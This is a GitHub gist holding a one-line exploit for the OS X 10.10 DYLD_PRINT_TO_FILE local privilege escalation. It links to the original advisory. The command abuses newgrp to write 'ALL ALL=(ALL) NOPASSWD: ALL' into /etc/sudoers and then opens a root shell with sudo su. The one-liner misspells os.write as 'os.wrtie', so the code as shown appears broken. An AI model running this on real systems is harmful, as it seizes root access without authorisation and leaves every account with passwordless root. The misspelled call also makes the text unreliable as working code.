Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created July 22, 2015 21:57
Show Gist options
  • Save ahhh/09751a7bc289a544b80e to your computer and use it in GitHub Desktop.
Save ahhh/09751a7bc289a544b80e to your computer and use it in GitHub Desktop.
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability: https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.wrtie(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment